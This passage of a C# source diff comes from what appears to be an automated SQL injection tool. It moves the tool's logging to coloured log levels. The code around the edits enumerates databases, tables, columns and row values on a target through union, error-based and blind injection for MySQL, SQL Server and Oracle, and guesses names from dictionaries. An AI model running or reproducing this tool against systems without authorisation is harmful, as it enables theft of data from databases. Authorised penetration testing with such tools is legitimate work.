oindex + "的名称为:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + oindex + "的名称为:" + result, LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1468,13 +1464,13 @@ namespace SuperSQLInjection String result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.db_value, "", "", oindex.ToString())); //HTML解码 result = HttpUtility.HtmlDecode(result); - this.Invoke(new StringDelegate(log), "数据库" + oindex + "的名称为:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + oindex + "的名称为:" + result, LogLevel.info); this.Invoke(new addDBToTreeListDelegate(addDBToTreeList), result); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentDbsCount); } @@ -1521,14 +1517,14 @@ namespace SuperSQLInjection int ascii = getValue(tmp_va_payload, 0, 128); value += ((char)ascii).ToString(); } - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + value); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + value, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "table"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentTableCount); } @@ -1559,14 +1555,14 @@ namespace SuperSQLInjection int ascii = getValue(tmp_va_payload, 0, 128); value += ((char)ascii).ToString(); } - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + value); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + value, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "table"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentTableCount); } @@ -1615,14 +1611,14 @@ namespace SuperSQLInjection value += (char)Tools.convertToInt(unicodes.ToString()); } } - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + value); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + value, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "table"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.currentTableCount); } @@ -1661,14 +1657,14 @@ namespace SuperSQLInjection } - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + value); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + value, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "table"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } Interlocked.Increment(ref this.currentTableCount); } @@ -1688,7 +1684,7 @@ namespace SuperSQLInjection String tables_value_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, data_list, null, null, -1); String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", tables_value_payload)); - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); Interlocked.Increment(ref this.currentTableCount); } @@ -1703,7 +1699,7 @@ namespace SuperSQLInjection String tables_value_payload = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, MSSQL.table_value, sn.dbname, sn.tableName, sn.limit.ToString()); String result = getOneDataByUnionOrError(tables_value_payload); - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); Interlocked.Increment(ref this.currentTableCount); } @@ -1719,7 +1715,7 @@ namespace SuperSQLInjection String tables_value_payload = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.table_value, sn.dbname, "", sn.limit.ToString()); String result = getOneDataByUnionOrError(tables_value_payload); - this.Invoke(new StringDelegate(log), "用户" + sn.dbname + "发现表:" + result); + this.Invoke(new showLogDelegate(log), "用户" + sn.dbname + "发现表:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); Interlocked.Increment(ref this.currentTableCount); } @@ -1733,7 +1729,7 @@ namespace SuperSQLInjection String table_value_payload = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); String result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", table_value_payload)); - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); Interlocked.Increment(ref this.currentTableCount); } @@ -1745,7 +1741,7 @@ namespace SuperSQLInjection List data_list = new List(); String result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.table_value.Replace("{dbname}", sn.dbname).Replace("{index}", sn.limit.ToString()))); - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); Interlocked.Increment(ref this.currentTableCount); } @@ -1757,7 +1753,7 @@ namespace SuperSQLInjection List data_list = new List(); String result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.table_value, sn.dbname, "", sn.limit.ToString())); - this.Invoke(new StringDelegate(log), "数据库" + sn.dbname + "发现表:" + result); + this.Invoke(new showLogDelegate(log), "数据库" + sn.dbname + "发现表:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "table"); Interlocked.Increment(ref this.currentTableCount); } @@ -1969,7 +1965,7 @@ namespace SuperSQLInjection catch (Exception e) { tryCount++; - this.Invoke(new StringDelegate(log), "发包失败!异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "发包失败!异常:" + e.Message, LogLevel.error); } } if (server == null) @@ -2000,7 +1996,7 @@ namespace SuperSQLInjection catch (Exception e) { tryCount++; - this.Invoke(new StringDelegate(log), "发包失败!异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "发包失败!异常:" + e.Message, LogLevel.error); } } if (server == null) @@ -2013,17 +2009,36 @@ namespace SuperSQLInjection } } - + public delegate void StringDelegate(String str); - public void log(String log) + + delegate void showLogDelegate(String log,LogLevel level); + public void log(String log, LogLevel level) { if (config.isOpenInfoLog) { - if (this.txt_log.Left > 10000) + if (this.txt_log.Left > 1024*1000) { this.txt_log.Text = ""; } - this.txt_log.AppendText(@log + "----" + DateTime.Now + "\r\n" + FileTool.error); + Color c = Color.DimGray; + if (level.Equals(LogLevel.error)) + { + c = Color.Red; + } + else if (level.Equals(LogLevel.success)) + { + c = Color.Green; + } + else if (level.Equals(LogLevel.waring)) + { + c = Color.SandyBrown; + } + this.txt_log.SelectionStart = this.txt_log.Text.Length;//设置插入符位置为文本框末 + this.txt_log.SelectionColor = c;//设置文本颜色 + this.txt_log.AppendText(log + "----" + DateTime.Now + Environment.NewLine); + this.txt_log.ScrollToCaret();//滚动条滚到到最新插入行 + } } @@ -2084,7 +2099,7 @@ namespace SuperSQLInjection data_list.Add(MySQL5.dbs_count); db_Count_data = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", db_Count_data)); - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + result + "个数据库!", LogLevel.info); db_len = Tools.convertToInt(result); this.dbsCount = db_len; if (db_len > 0) @@ -2104,7 +2119,7 @@ namespace SuperSQLInjection case DBType.SQLServer: //获取数据库数量 result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.dbs_count)); - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + result + "个数据库!", LogLevel.info); db_len = Tools.convertToInt(result); this.dbsCount = db_len; if (db_len > 0) @@ -2126,7 +2141,7 @@ namespace SuperSQLInjection case DBType.Oracle: //获取数据库数量 result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.dbs_count, "", "", "")); - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库用户!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + result + "个数据库用户!", LogLevel.info); db_len = Tools.convertToInt(result); this.dbsCount = db_len; if (db_len > 0) @@ -2165,7 +2180,7 @@ namespace SuperSQLInjection db_Count_data = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, data_list, null, null, -1); result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", db_Count_data)); - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + result + "个数据库!", LogLevel.info); db_len = Tools.convertToInt(result); this.dbsCount = db_len; if (db_len > 0) @@ -2186,7 +2201,7 @@ namespace SuperSQLInjection //获取数据库数量 result = getOneDataByUnionOrError(MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, MSSQL.dbs_count)); - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + result + "个数据库!", LogLevel.info); db_len = Tools.convertToInt(result); this.dbsCount = db_len; if (db_len > 0) @@ -2207,7 +2222,7 @@ namespace SuperSQLInjection //获取数据库数量 result = getOneDataByUnionOrError(Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.dbs_count, "", "", "")); - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + result + "个数据库用户!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + result + "个数据库用户!", LogLevel.info); db_len = Tools.convertToInt(result); this.dbsCount = db_len; if (db_len > 0) @@ -2250,7 +2265,7 @@ namespace SuperSQLInjection db_len = getValueByStepUp(MySQL5.bool_db_count, 0, 10); } - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!", LogLevel.info); this.dbsCount = db_len; if (db_len > 0) { @@ -2277,7 +2292,7 @@ namespace SuperSQLInjection { db_len = getValueByStepUp(MSSQL.bool_db_count, 0, 10); } - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!", LogLevel.info); this.dbsCount = db_len; if (db_len > 0) { @@ -2304,7 +2319,7 @@ namespace SuperSQLInjection break; case DBType.Oracle: db_len = getValueByStepUp(Oracle.bool_db_count, 0, 10); - this.Invoke(new StringDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!"); + this.Invoke(new showLogDelegate(log), "报告大侠,我发现了" + db_len + "个数据库!", LogLevel.info); this.dbsCount = db_len; if (db_len > 0) { @@ -2332,7 +2347,6 @@ namespace SuperSQLInjection bool findKey = findKeyInBody(payload); if (findKey) { - this.Invoke(new showLogDelegate(log), "发现表:" + sn.tableName); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, sn.tableName, "table"); } @@ -2345,7 +2359,7 @@ namespace SuperSQLInjection bool findKey = findKeyInBody(payload); if (findKey) { - this.Invoke(new showLogDelegate(log), "表" + sn.tableName + "发现列:" + sn.columnName); + this.Invoke(new showLogDelegate(log),"表" + sn.tableName + "发现列:" + sn.columnName); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, sn.columnName, "column"); } @@ -2360,7 +2374,7 @@ namespace SuperSQLInjection foreach (String fpath in dirs) { if (status != 1) break; - this.Invoke(new StringDelegate(log), "正在使用字典" + fpath + "进行盲猜!"); + this.Invoke(new showLogDelegate(log), "正在使用字典" + fpath + "进行盲猜!", LogLevel.info); List tables = FileTool.readFileToList("config/tables/" + fpath); comm_count = tables.Count; for (int i = 0; i < tables.Count; i++) @@ -2384,7 +2398,7 @@ namespace SuperSQLInjection foreach (String fpath in dirs) { if (status != 1) break; - this.Invoke(new StringDelegate(log), "正在使用字典" + fpath + "进行盲猜!"); + this.Invoke(new showLogDelegate(log), "正在使用字典" + fpath + "进行盲猜!", LogLevel.info); List columns = FileTool.readFileToList("config/columns/" + fpath); comm_count = columns.Count; for (int i = 0; i < columns.Count; i++) @@ -2435,7 +2449,7 @@ namespace SuperSQLInjection this.tableCount = getValueByStepUp(MySQL5.bool_tables_count.Replace("'{dbname}'", Tools.strToHex(dbname, "UTF-8")), 0, 50); } - this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbname + "发现" + this.tableCount + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbname + "发现" + this.tableCount + "个表!", LogLevel.info); for (int i = 0; i < this.tableCount; i++) { SelectNode sn = new SelectNode(); @@ -2456,7 +2470,7 @@ namespace SuperSQLInjection this.tableCount = getValueByStepUp(MSSQL.bool_tables_count.Replace("{dbname}", dbname), 0, 50); } - this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbname + "发现" + this.tableCount + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbname + "发现" + this.tableCount + "个表!", LogLevel.info); for (int i = 0; i < this.tableCount; i++) { SelectNode sn = new SelectNode(); @@ -2478,7 +2492,7 @@ namespace SuperSQLInjection case DBType.Oracle: //获取当前数据库长度 this.tableCount = getValueByStepUp(Oracle.bool_tables_count.Replace("{dbname}", dbname), 0, 50); - this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbname + "发现" + this.tableCount + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbname + "发现" + this.tableCount + "个表!", LogLevel.info); for (int i = 1; i <= this.tableCount; i++) { SelectNode sn = new SelectNode(); @@ -2523,7 +2537,7 @@ namespace SuperSQLInjection tables_count_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, data_list, null, null, -1); result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", tables_count_payload)); - this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!", LogLevel.info); this.tableCount = Tools.convertToInt(result); for (int i = 0; i < this.tableCount; i++) { @@ -2540,7 +2554,7 @@ namespace SuperSQLInjection tables_count_payload = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, MSSQL.tables_count, dbName, "", ""); result = getOneDataByUnionOrError(tables_count_payload); - this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!", LogLevel.info); this.tableCount = Tools.convertToInt(result); for (int i = 0; i < this.tableCount; i++) { @@ -2557,7 +2571,7 @@ namespace SuperSQLInjection tables_count_payload = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.tables_count, dbName, "", ""); result = getOneDataByUnionOrError(tables_count_payload); - this.Invoke(new StringDelegate(log), "报告大侠,用户" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,用户" + dbName + "有" + Tools.convertToInt(result) + "个表!",LogLevel.info); this.tableCount = Tools.convertToInt(result); //下标1开始 for (int i = 1; i <= this.tableCount; i++) @@ -2598,7 +2612,7 @@ namespace SuperSQLInjection tables_count_payload = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", tables_count_payload)); - this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!", LogLevel.info); this.tableCount = Tools.convertToInt(result); for (int i = 0; i < this.tableCount; i++) { @@ -2615,7 +2629,7 @@ namespace SuperSQLInjection result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.tables_count.Replace("{dbname}", dbName))); //HTML解码 result = HttpUtility.HtmlDecode(result); - this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!", LogLevel.info); this.tableCount = Tools.convertToInt(result); for (int i = 0; i < this.tableCount; i++) @@ -2632,7 +2646,7 @@ namespace SuperSQLInjection //获取当前数据库表长度 result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.tables_count, dbName, "", "")); - this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + this.Invoke(new showLogDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!", LogLevel.info); this.tableCount = Tools.convertToInt(result); for (int i = 1; i <= this.tableCount; i++) @@ -2797,14 +2811,14 @@ namespace SuperSQLInjection int ascii = getValue(tmp_va_payload, 0, 128); value += ((char)ascii).ToString(); } - this.Invoke(new StringDelegate(log), "表" + sn.tableName + "发现列:" + value); + this.Invoke(new showLogDelegate(log), "表" + sn.tableName + "发现列:" + value, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } } @@ -2843,14 +2857,14 @@ namespace SuperSQLInjection } } - this.Invoke(new StringDelegate(log), "表" + sn.tableName + "发现列:" + value); + this.Invoke(new showLogDelegate(log), "表" + sn.tableName + "发现列:" + value, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } } @@ -2900,14 +2914,14 @@ namespace SuperSQLInjection value += (char)Tools.convertToInt(unicodes.ToString()); } } - this.Invoke(new StringDelegate(log), "表" + sn.tableName + "发现列:" + value); + this.Invoke(new showLogDelegate(log), "表" + sn.tableName + "发现列:" + value, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); } } @@ -2937,14 +2951,14 @@ namespace SuperSQLInjection int ascii = getValue(tmp_va_payload, 0, 128); value += ((char)ascii).ToString(); } - this.Invoke(new StringDelegate(log), "表" + sn.tableName + "发现列:" + value); + this.Invoke(new showLogDelegate(log), "表" + sn.tableName + "发现列:" + value,LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } } @@ -2962,13 +2976,13 @@ namespace SuperSQLInjection data_list.Add(MySQL5.column_value.Replace("{index}", sn.limit.ToString()).Replace("'{dbname}'", Tools.strToHex(sn.dbname, "UTF-8")).Replace("'{table}'", Tools.strToHex(sn.tableName, "UTF-8"))); String column_Name_data = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, data_list, null, null, -1); String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", column_Name_data)); - this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new showLogDelegate(log), "发现列:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } } @@ -2984,13 +2998,13 @@ namespace SuperSQLInjection String column_Name_data = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, MSSQL.column_value, sn.dbname, sn.tableName, sn.limit.ToString()); String result = getOneDataByUnionOrError(column_Name_data); - this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new showLogDelegate(log), "发现列:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } } @@ -3007,13 +3021,13 @@ namespace SuperSQLInjection String column_Name_data = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.column_value, sn.dbname, sn.tableName, sn.limit.ToString()); String result = getOneDataByUnionOrError(column_Name_data); - this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new showLogDelegate(log), "发现列:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取列名时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取列名时发生异常:" + e.Message, LogLevel.error); } } @@ -3028,13 +3042,13 @@ namespace SuperSQLInjection data_list.Add(MySQL5.column_value.Replace("{index}", sn.limit.ToString()).Replace("'{dbname}'", Tools.strToHex(sn.dbname, "UTF-8")).Replace("'{table}'", Tools.strToHex(sn.tableName, "UTF-8"))); String column_Name_data = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); String result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", column_Name_data)); - this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new showLogDelegate(log), "发现列:" + result, LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message, LogLevel.error); } } @@ -3044,13 +3058,13 @@ namespace SuperSQLInjection { SelectNode sn = (SelectNode)osn; String result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.column_value.Replace("{index}", sn.limit.ToString()).Replace("{dbname}", sn.dbname).Replace("{table}", sn.tableName))); - this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new showLogDelegate(log), "发现列:" + result,LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message,LogLevel.error); } } @@ -3060,13 +3074,13 @@ namespace SuperSQLInjection { SelectNode sn = (SelectNode)osn; String result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.column_value, sn.dbname, sn.tableName, sn.limit.ToString())); - this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new showLogDelegate(log), "发现列:" + result,LogLevel.info); this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取数据库名称时发生异常:" + e.Message,LogLevel.error); } } @@ -3108,7 +3122,7 @@ namespace SuperSQLInjection columns_count = getValueByStepUp(MySQL5.bool_columns_count.Replace("'{dbname}'", Tools.strToHex(dbName, "UTF-8")).Replace("'{table}'", Tools.strToHex(tableName, "UTF-8")), 0, 20); } - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!",LogLevel.info); for (int i = 0; i < columns_count; i++) { SelectNode sn = new SelectNode(); @@ -3130,7 +3144,7 @@ namespace SuperSQLInjection columns_count = getValueByStepUp(MSSQL.bool_columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName), 0, 20); } - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!", LogLevel.info); for (int i = 0; i < columns_count; i++) { SelectNode sn = new SelectNode(); @@ -3152,7 +3166,7 @@ namespace SuperSQLInjection break; case DBType.Oracle: columns_count = getValueByStepUp(Oracle.bool_columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName), 0, 20); - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!", LogLevel.info); for (int i = 1; i <= columns_count; i++) { SelectNode sn = new SelectNode(); @@ -3206,7 +3220,7 @@ namespace SuperSQLInjection columns_count_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, config.unionFill, data_list, null, null, -1); result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", columns_count_payload)); - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); columns_count = Tools.convertToInt(result); for (int i = 0; i < columns_count; i++) { @@ -3223,7 +3237,7 @@ namespace SuperSQLInjection columns_count_payload = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, MSSQL.columns_count, dbName, tableName, ""); result = getOneDataByUnionOrError(columns_count_payload); - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); columns_count = Tools.convertToInt(result); for (int i = 0; i < columns_count; i++) { @@ -3240,7 +3254,7 @@ namespace SuperSQLInjection columns_count_payload = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.columns_count, dbName, tableName, ""); result = getOneDataByUnionOrError(columns_count_payload); - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); columns_count = Tools.convertToInt(result); for (int i = 1; i <= columns_count; i++) { @@ -3295,7 +3309,7 @@ namespace SuperSQLInjection columns_count_payload = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", columns_count_payload)); - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); columns_count = Tools.convertToInt(result); for (int i = 0; i < columns_count; i++) { @@ -3312,7 +3326,7 @@ namespace SuperSQLInjection result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName))); //HTML解码 result = HttpUtility.HtmlDecode(result); - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); columns_count = Tools.convertToInt(result); for (int i = 0; i < columns_count; i++) { @@ -3328,7 +3342,7 @@ namespace SuperSQLInjection case DBType.Oracle: result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.columns_count, dbName, tableName, "")); - this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + this.Invoke(new showLogDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!", LogLevel.info); columns_count = Tools.convertToInt(result); for (int i = 1; i <= columns_count; i++) { @@ -3476,16 +3490,16 @@ namespace SuperSQLInjection { lvi.SubItems.Add(colvalue); } - this.Invoke(new StringDelegate(log), "获取到第" + (gp.limit + 1) + "行," + columnName + "的值:" 